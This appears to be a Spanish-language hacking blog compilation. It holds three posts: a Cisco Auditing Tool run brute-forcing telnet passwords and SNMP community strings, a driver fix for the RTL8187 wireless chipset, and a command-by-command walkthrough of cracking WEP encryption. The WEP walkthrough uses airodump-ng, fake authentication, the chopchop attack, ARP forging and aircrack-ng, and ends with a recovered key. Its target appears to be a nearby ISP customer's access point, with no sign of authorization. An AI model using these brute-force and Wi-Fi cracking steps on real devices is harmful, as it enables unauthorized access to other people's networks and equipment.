./CAT version [unknown] calling Getopt::Std::getopts (version 1.06 [paranoid]),
running under Perl version 5.10.1.

Usage: CAT [-OPTIONS [-MORE_OPTIONS]] [--] [PROGRAM_ARG1 ...]

The following single-character options are accepted:
With arguments: -h -f -p -w -a -l
Boolean (without arguments): -i -q

Options may be merged together.  -- stops processing of options.
Space is not required between options and their arguments.
[Now continuing due to backward compatibility and excessive paranoia.
See ``perldoc Getopt::Std'' about $Getopt::Std::STANDARD_HELP_VERSION.]

Cisco Auditing Tool - g0ne [null0]
Usage:
-h hostname (for scanning single hosts)
-f hostfile (for scanning multiple hosts)
-p port # (default port is 23)
-w wordlist (wordlist for community name guessing)
-a passlist (wordlist for password guessing)
-i [ioshist] (Check for IOS History bug)
-l logfile (file to log to, default screen)
-q quiet mode (no screen output)

root@delfi:/pentest/cisco/cisco-auditing-tool#
Cisco Auditing Tool.

Estas son las opciones y descripciones sobre el uso de CAT. Vamos a ejecutar las siguientes opciones en contra de nuestro objetivo, un dispositivo Cisco (2600).

-h hostname (for scanning single hosts)
-w wordlist (wordlist for community name guessing)
-a passlist (wordlist for password guessing)

Esta combinación de fuerza bruta y escaneo del dispositivo cisco es para averiguar cualquier contraseña conocida y los nombres de las comunidades SNMP. Antes de realizar la prueba, tenemos que actualizar también la lista de las contraseñas y community strings de SNMP en la ruta pentest/cisco/cisco-auditing-tool/lists con el fin de obtener una mayor probabilidad de éxito. Bueno vamos a realizarlo de la siguiente manera.

./CAT -h 192.168.1.102 -w lists/community -a lists/passwords -1

root@delfi:/pentest/cisco/cisco-auditing-tool# ./CAT -h 192.168.1.102 -w lists/community -a lists/passwords -1
Unknown option: 1

Cisco Auditing Tool - g0ne [null0]

Checking Host: 192.168.1.102

Guessing passwords:

Invalid Password: list
Invalid Password: cisco1
Invalid Password: cisco
Invalid Password: passwordvty
Password Found: p4sswordvty
Invalid Password: ciscos
Invalid Password: public
Invalid Password: private
Invalid Password: admin
Invalid Password: cisco_comu
Invalid Password: cisco1
Invalid Password: cisco2
Invalid Password: router
Invalid Password: routercisco
Invalid Password: secret
Invalid Password: Cisco
Invalid Password: telnet
Invalid Password: 123456
Invalid Password: default
Invalid Password: nicolay
Invalid Password: router1
Invalid Password:

Guessing Community Names:

Invalid Community Name: list
Community Name Found: public
Community Name Found: private
Invalid Community Name: cisco
Invalid Community Name: cisco1
Community Name Found: ciscos
Invalid Community Name: default
Invalid Community Name: Cisco
Community Name Found: cisco_comu
Invalid Community Name: adm

---------------------------------------------------
Audit Complete
Salida de Cisco Auditing Tool.

Para obtener mejores resultados lo recomendable es editar los archivos que se encuentran en la ruta pentest/cisco/cisco-auditing-tool/lists podemos utilizar cualquier editor de texto o el editor Vim para agregar mas palabras a los archivos y así obtener unos mejores resultados de salida.

SIOCSIFFLAGS: Unknown error 132 - para RTL8187 en BackTrack 5

Solucion al error SIOCSIFFLAGS: Unknown error 132 en chipset rt1887.


Los chipset rtl8187 en BackTrack 5 desde VMware al hacer
root@delfi:~# ifconfig wlan1 up
SIOCSIFFLAGS: Unknown error 132
el fastidioso SIOCSIFFLAGS, bueno aquí esta la solución al "SIOCSIFFLAGS: Unknown error 132". Abrimos consola.
rmmod rtl8187
rmmod mac80211
modprobe rtl8187
ifconfig wlan0 up
y ya con eso, tenemos el rtl8187 que se puede levantar con la orden ifconfig.
root@delfi:~# ifconfig wlan0 up
root@delfi:~#
y ya no da errores :)

Esto también se puede realizar copiando lo siguiente en un archivo de texto y guardarlo en alguna ubicación de nuestro disco duro con cualquier nombre, en mi caso rtl8187.
#!/bin/bash
echo Removiendo Modulo RTL8187
rmmod rtl8187
echo Removiendo Modulo MAC80211
rmmod mac80211
echo Agregando Modulo RTL8187
modprobe rtl8187
echo wlan0 up
ifconfig wlan0 up
Abrimos consola y nos vamos a la dirección donde tenemos ubicado el archivo y tecleamos.

chmod 755 rlt8187
./rtl8187

y listo, una imagen dice mas que mil palabras :)

USB FL-2016G con chipset RTL8187 en Ubuntu 11.10

Aquí se muestra el FL-2016G en acción desde Ubuntu en su versión 11.10. El FL-2016G es un dispositivo USB también conocido como el dragon que trae consigo el chipset rtl8187, inyecta muy bien, aunque me quedo con el alfa 2000mw, pero la ventaja es de que no es un dispositivo caro, yo la compre en 20 dolares por Ebay, el alfa me costo un poco mas pero si que valió la pena comprarla, me ha servido para todo, hasta como AP :).
Bueno como un usuario me ha enviado un mensaje preguntando como es el proceso para auditar con el FL-2016, aquí esta. Aunque el proceso es el mismo para todos los dispositivos, es cuestión de lanzar airmon-ng y mirar si detecta nuestro dispositivo USB, si no detecta podría ser necesaria parchear los drivers con el Compat-Wireless.

Bueno lo primero lanzamos airmon-ng. Para esto iniciamos el script airmon-ng tal como se muestra a continuación. Wlan2 es la interface como es reconocido nuestro dispositivo en Ubuntu.

root@computer:/home/delfi# airmon-ng start wlan2.
Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name
997 avahi-daemon
998 avahi-daemon
999 NetworkManager
19973 wpa_supplicant
21950 dhclient
Process with PID 21950 (dhclient) is running on interface wlan1

Interface Chipset  Driver

wlan1  Unknown  rt2800usb - [phy0]
wlan2  RTL8187  rtl8187 - [phy1]
(monitor mode enabled on mon0)
Una vez que hemos puesto el FL-2016G en modo monitor, podremos lanzar airodump-ng para escanear las redes que están a nuestro alcance para poder elegir un objetivo y centrarnos en una red en concreto.

root@computer:/home/delfi# airodump-ng mon0
CH 10 ][ Elapsed: 4 s ][ 2011-11-30 03:04                               
                                                                                                          
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                     
                                                                                                          
08:76:FF:XX:XX:A4  -50       11        0    0   9  54e  WEP  WEP         INFINITUMXXXXA                           
64:16:F0:31:XX:CD  -61        9        0    0  11  54   WEP  WEP         INFINITUM74XX                             
00:18:3F:01:06:XX  -62        2        0    0  11  54 . WEP  WEP         INFINITUM97XX                             
00:21:7C:C6:XX:XX  -62        6        0    0   1  54 . WPA2 CCMP   PSK  Juanjo                                    
98:2C:BE:10:ED:72  -60        7        0    0   1  54   WEP  WEP         INFINITUMXX31                             
F4:C7:14:6F:AB:7C  -63        4        0    0  11  54e  WEP  WEP         GREGORIO                                  
5C:4C:A9:67:18:B4  -64        4        0    0   1  54e  WEP  WEP         INFINITUMXXb4                             
00:E0:4C:XX:53:XX  -67        2        0    0  11  54   WEP  WEP         PAKORP                                    
                                                                                                          
BSSID              STATION            PWR   Rate    Lost  Packets  Probes


Una vez elegido el objetivo, lanzamos el siguiente comando para decirle a airodump-ng que escuche con nuestro dispositivo USB em modo monitor (mon0) en el canal (11) donde esta trasmitiendo el punto de acceso (64:16:F0:31:68:CD), el parametro --write es el nombre del archivo de nuestra captura.

root@computer:/home/delfi# airodump-ng --bssid 64:16:F0:31:68:CD --channel 11 --write wifikey mon0
CH 11 ][ Elapsed: 5 mins ][ 2011-11-30 03:09                               
                                                                                                          
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                 
                                                                                                          
64:16:F0:XX:XX:CD  -60   0     2286    29042   76  11  54   WEP  WEP    OPN  INFINITUM7XX9                         
                                                                                                          
BSSID              STATION            PWR   Rate    Lost  Packets  Probes                                          
                                                                                                          
64:16:F0:31:XX:XX  00:C0:CA:40:XX:XX    0    0 - 1   1317340   151601

Ahora lo que haremos es realizar una falsa autenticación con el Punto de Acceso Wifi para que acepte cualquier paquete que le enviemos. Para esto, en consola realizamos lo siguiente.

root@computer:/home/delfi# aireplay-ng --fakeauth 0 -e INFINITUM7XX9 -a 64:16:F0:31:68:CD -h 00:C0:CA:40:B8:3E mon0
03:04:54  Waiting for beacon frame (BSSID: 64:16:F0:31:68:CD) on channel 11
03:04:55  Sending Authentication Request (Open System)
03:04:55  Authentication successful
03:04:55  Sending Association Request
03:04:55  Association successful :-) (AID: 1)


Tal como podemos ver, nos hemos asociado correctamente. lanzamos el ataque chopchop con el siguiente comando --chopchop o -4. En este caso el paramentro--chopchop significa que realizaremos el ataque chopchop, -b la dirección MAC del punto de acceso, -h la dirección MAC de nuestro dispositivo inalambrico y el mon0 es tal como es reconocido nuestro dispositivo.

root@computer:/home/delfi# aireplay-ng --chopchop -b 64:16:F0:XX:XX:XX -h 00:C0:CA:XX:XX:3E mon0
03:04:58  Waiting for beacon frame (BSSID: 64:16:F0:31:68:CD) on channel 11
Read 3616 packets...

Size: 86, FromDS: 1, ToDS: 0 (WEP)

    BSSID  =  64:16:F0:XX:XX:CD
Dest. MAC  =  01:00:5E:00:XX:XX
Source MAC  =  64:16:F0:31:XX:XX

0x0000:  0842 0000 0100 5e00 0001 6416 f031 68cd  .B....^...d..1h.
0x0010:  6416 f031 68cd f089 e15e 4800 224d e95a  d..1h....^H."M.Z
0x0020:  f191 7a17 92fd 494c e866 d7fe 7200 d979  ..z...IL.f..r..y
0x0030:  8c57 92db d5ed 59c3 5a63 c78c e09c fc82  .W....Y.Zc......
0x0040:  0269 8709 952a 7d4a 443f 2139 3843 0fd5  .i...*}JD?!98C..
0x0050:  e2ff 3aea e1aa                           ..:...

Use this packet ? y

Saving chosen packet in replay_src-1130-030631.cap

Offset   85 ( 0% done) | xor = 89 | pt = 23 |   78 frames written in  1342ms
Offset   84 ( 1% done) | xor = 94 | pt = 75 |  489 frames written in  8297ms
Offset   83 ( 3% done) | xor = BE | pt = 54 | 1785 frames written in 30360ms
Offset   82 ( 5% done) | xor = 3E | pt = 04 |  579 frames written in  9843ms
Offset   81 ( 7% done) | xor = FF | pt = 00 |  667 frames written in 11338ms
Offset   80 ( 9% done) | xor = E2 | pt = 00 |   77 frames written in  1309ms
Offset   79 (11% done) | xor = D5 | pt = 00 |  239 frames written in  4064ms
Offset   78 (13% done) | xor = 0F | pt = 00 |  238 frames written in  4047ms
Offset   77 (15% done) | xor = 42 | pt = 01 |  650 frames written in 11048ms
Offset   76 (17% done) | xor = 38 | pt = 00 |  273 frames written in  4642ms
Offset   75 (19% done) | xor = 39 | pt = 00 |  133 frames written in  2249ms
Offset   74 (21% done) | xor = 21 | pt = 00 |  701 frames written in 11929ms
Offset   73 (23% done) | xor = 57 | pt = 68 |   57 frames written in   969ms
Offset   72 (25% done) | xor = 30 | pt = 74 |  418 frames written in  7103ms
Offset   71 (26% done) | xor = EA | pt = A0 |  606 frames written in 10304ms
Offset   70 (28% done) | xor = E5 | pt = 98 |  482 frames written in  8194ms
Offset   69 (30% done) | xor = 0A | pt = 20 |  244 frames written in  4149ms
Offset   68 (32% done) | xor = 95 | pt = 00 |  244 frames written in  4147ms
Offset   67 (34% done) | xor = E2 | pt = EB |  404 frames written in  6869ms
Offset   66 (36% done) | xor = 93 | pt = 14 |  185 frames written in  3136ms
Offset   65 (38% done) | xor = E9 | pt = 80 |  436 frames written in  7408ms
Offset   64 (40% done) | xor = DE | pt = DC |  197 frames written in  3360ms
Offset   63 (42% done) | xor = 82 | pt = 00 |  192 frames written in  3264ms
Offset   62 (44% done) | xor = FC | pt = 00 |  194 frames written in  3297ms
Offset   61 (46% done) | xor = 9C | pt = 00 |  815 frames written in 13856ms
Offset   60 (48% done) | xor = E0 | pt = 00 | 1468 frames written in 24945ms
Offset   59 (50% done) | xor = 17 | pt = 9B |  316 frames written in  5383ms
Offset   58 (51% done) | xor = 29 | pt = EE |  230 frames written in  3909ms
Offset   57 (53% done) | xor = 07 | pt = 64 |   76 frames written in  1293ms
Offset   56 (55% done) | xor = 4B | pt = 11 |   99 frames written in  1684ms
Offset   55 (57% done) | xor = C2 | pt = 01 |  120 frames written in  2037ms
Offset   54 (59% done) | xor = 59 | pt = 00 |  192 frames written in  3266ms
Offset   53 (61% done) | xor = ED | pt = 00 |  177 frames written in  2998ms
Offset   52 (63% done) | xor = 35 | pt = E0 |   63 frames written in  1081ms
Offset   51 (65% done) | xor = 25 | pt = FE |   75 frames written in  1272ms
Offset   50 (67% done) | xor = 93 | pt = 01 |  147 frames written in  2503ms
Offset   49 (69% done) | xor = FF | pt = A8 |  229 frames written in  3892ms
Offset   48 (71% done) | xor = 4C | pt = C0 |  179 frames written in  3043ms
Offset   47 (73% done) | xor = EF | pt = 96 |  690 frames written in 11730ms
Offset   46 (75% done) | xor = D1 | pt = 08 |  295 frames written in  5014ms
Offset   45 (76% done) | xor = 02 | pt = 02 |  575 frames written in  9775ms
Offset   44 (78% done) | xor = 73 | pt = 01 |  249 frames written in  4233ms
Offset   43 (80% done) | xor = FE | pt = 00 |   67 frames written in  1140ms
Offset   42 (82% done) | xor = D7 | pt = 00 |  296 frames written in  5020ms
Offset   41 (84% done) | xor = C5 | pt = A3 |   97 frames written in  1660ms
Offset   40 (86% done) | xor = E6 | pt = 0E |   20 frames written in   341ms
Offset   39 (88% done) | xor = 50 | pt = 1C |  370 frames written in  6293ms
Offset   38 (90% done) | xor = 49 | pt = 00 |  228 frames written in  3869ms
Offset   37 (92% done) | xor = FD | pt = 00 |  231 frames written in  3930ms
Offset   36 (94% done) | xor = D7 | pt = 45 |  789 frames written in 13414ms
Offset   35 (96% done) | xor = 17 | pt = 00 |  229 frames written in  3892ms
Offset   34 (98% done) | xor = 72 | pt = 08 |  147 frames written in  2499ms

Saving plaintext in replay_dec-1130-030713.cap
Saving keystream in replay_dec-1130-030713.xor

Completed in 39s (1.23 bytes/s)


Como se mira en el código e imagen anterior, tuvimos éxito con el ataque chopchop. El archivo llamado keystream in replay_dec-1130-030713.xor lo utilizaremos para generar un paquete ARP con el famoso packetforge-ng. Nuestro objetivo es que el punto de acceso reenvié continuamente el paquete arp inyectado. Cuando lo reenvié obtendremos un nuevo IV (vector de inicialización). Todos estos IVs los usaremos para obtener la clave WEP.

root@computer:/home/delfi# packetforge-ng -0 -a 64:16:F0:31:XX:XX -h 00:C0:CA:XX:XX:XX -k 255.255.255.255 -l 255.255.255.255 -yreplay_dec-1130-030713.xor -w ARP
Wrote packet to: ARP

Ahora la inyección del paquete ARP.
root@computer:/home/delfi# aireplay-ng -2 -r ARP mon0
No source MAC (-h) specified. Using the device MAC (00:C0:CA:40:B8:3E)
Size: 68, FromDS: 0, ToDS: 1 (WEP)

    BSSID  =  64:16:F0:XX:XX:XX
Dest. MAC  =  FF:FF:FF:FF:FF:FF
Source MAC  =  00:C0:CA:40:XX:XX

0x0000:  0841 0201 6416 f031 68cd 00c0 ca40 b83e  .A..d..1h....@.>
0x0010:  ffff ffff ffff 8001 e15e 4800 224d e95a  .........^H."M.Z
0x0020:  f191 7a11 d7fc 4150 e0c1 d7ff 73c2 1baf  ..z...AP....s...
0x0030:  f4c1 6cda ca12 59c2 4b07 2917 1f63 037d  ..l...Y.K.)..c.}
0x0040:  2df5 fa27                                -..'

Use this packet ? y

Saving chosen packet in replay_src-1130-030729.cap
You should also start airodump-ng to capture replies.
Por ultimo, una vez capturado los suficientes #datas, lanzamos aircrack-ng.

delfi@computer:~$ aircrack-ng wifikey-01.cap

Opening wifikey-01.cap
Read 163102 packets.

#  BSSID              ESSID                     Encryption

1  64:16:F0:XX:XX:XX  INFINITUM7XX9             WEP (25237 IVs)

Choosing first network as target.

Opening wifikey-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 25237 ivs.
                                              Aircrack-ng 1.1

                              [00:00:07] Tested 83141 keys (got 25192 IVs)

KB    depth   byte(vote)
0    0/  1   37(41728) 47(35840) 3C(34560) EA(33280) 68(32768) 93(32768) 0E(32512) DC(32512) 39(32256)
1   23/ 26   BD(30464) 7F(30208) 9A(30208) BB(30208) BE(30208) C4(30208) 76(29696) B1(29696) D4(29696)
2    0/ 19   61(34560) 16(33536) 2F(33536) ED(33024) 19(33024) EF(32768) 01(32512) 9D(32256) 9E(31488)
3    2/ 25   31(33280) 08(33280) 77(33024) C9(32768) D3(32768) B9(32512) 74(32256) BE(31744) 48(31744)
4    0/  7   63(36096) A2(33024) BB(32512) 51(32512) C6(32256) A4(32000) F5(32000) 07(31744) 1F(31744)

           KEY FOUND! [ 37:63:61:31:63 ] (ASCII: 7ca1c )
Decrypted correctly: 100%


Video: USB FL-2016G en acción desde Ubuntu 11.10

Vídeo Online
http://www.youtube.com/watch?v=rFUMPgYkGPM